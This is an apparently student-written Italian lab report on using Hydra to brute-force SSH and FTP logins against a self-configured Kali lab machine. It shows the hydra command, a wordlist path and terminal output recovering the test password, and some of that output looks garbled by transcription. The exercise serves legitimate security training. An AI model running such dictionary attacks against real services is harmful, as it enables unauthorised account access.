Authentication cracking con Hydra

Esercizio del Giorno

Esercizio Traccia

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Creazione User e ssh



Attacco e risultato ssh

```
File Actions Edit View Help

(kali@ kali)-[~]

$ hydra -l test_user -p /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://192.168.1.102 -t Hydra vp.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, o non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-08 08:59:47

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -1 to skip waiting)) from a previous session found, to store

[DATA] max 64 tasks per 1 server, overall 64 tasks, 1000000 login tries (l:1/p:1000000), -15625 tries per task

[DATA] attacking ssh://192.168.1.102:20/

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 1 of 1000000 [child 0] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "password" - 2 of 1000000 [child 1] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 3 of 1000000 [child 4] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 6 of 1000000 [child 4] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 7 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "123456" - 9 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345" - 6 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345" - 6 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345" - 6 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "12345" - 6 of 1000000 [child 6] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "baseball" - 12 of 1000000 [child 1] (0/0)

[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "baseball" - 12 of 1000000 [child 1] (0/0)

[ATTEMPT] target 192.168
```

```
[RE-ATTEMPT] target 192.168.1.102 - login "test_user" - pass "hhhh" - 5205 of 1000048 [child 60] (0/48)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "toolman" - 5206 of 1000048 [child 8] (0/48)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "thing" - 5207 of 1000048 [child 23] (0/48)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "testpass" - 5208 of 1000048 [child 50] (0/48)
[22][ssh] host: 192.168.1.102 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 12 final worker threads did not complete until end.
[ERROR] 12 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 09:38:10

[kali@kali)-[~]
```

Attacco e risultato ftp

```
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "stretch" - 5209 of 1000014 [child 30] (0/14)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "stonecold" - 5210 of 1000014 [child 53] (0/14)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "soulmate" - 5211 of 1000014 [child 37] (0/14)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "sonny" - 5212 of 1000014 [child 48] (0/14)
[ATTEMPT] target 192.168.1.102 - login "test_user" - pass "snuffy" - 5213 of 1000014 [child 58] (0/14)
[21][ftp] host: 192.168.1.102 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 14 final worker threads did not complete until end.
[ERROR] 14 targets did not resolve or could not be connected
[ERROR] 0 target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-08 07:31:43

—(kali@ kali)-[~]

$ []
```

Relazione

L'esercizio di oggi ha lo scopo di mettere in pratica l'uso di Hydra per craccare l'autenticazione dei servizi di rete, e approfondire la configurazione di tali servizi. La prima fase dell'esercizio prevede la creazione di un nuovo utente su Kali, chiamato "test_user" e password "testpass". Successivamente, su kali ho attivato il servizio SSH con il comando sudo service ssh start. Con il comando "ssh test_user@192.168.1.102" ho testato la connessione SSH con l'utente test_user, successivamente ho utilizzato Hydra per effettuare un attacco di cracking sull'autenticazione SSH. In questa fase, si utilizzato una lista di username e password per eseguire un attacco a dizionario, sfruttando i comandi -L e -P per specificare le wordlist da utilizzare e l'indirizzo IP della macchina Kali. In questo caso ho utilizzato Seclists che fornisce una vasta collezione di username e password utili per questo tipo di attacco. La seconda fase dell'esercizio prevedeva di scegliere un altro servizio di rete da configurare, come FTP, e a testare l'autenticazione con Hydra. Per FTP ho devuto installare e avviare il servizio vsftpd tramite i comandi forniti nelle slide. Questo esercizio consente di consolidare le conoscenze e le tecniche di cracking tramite l'uso di Hydra.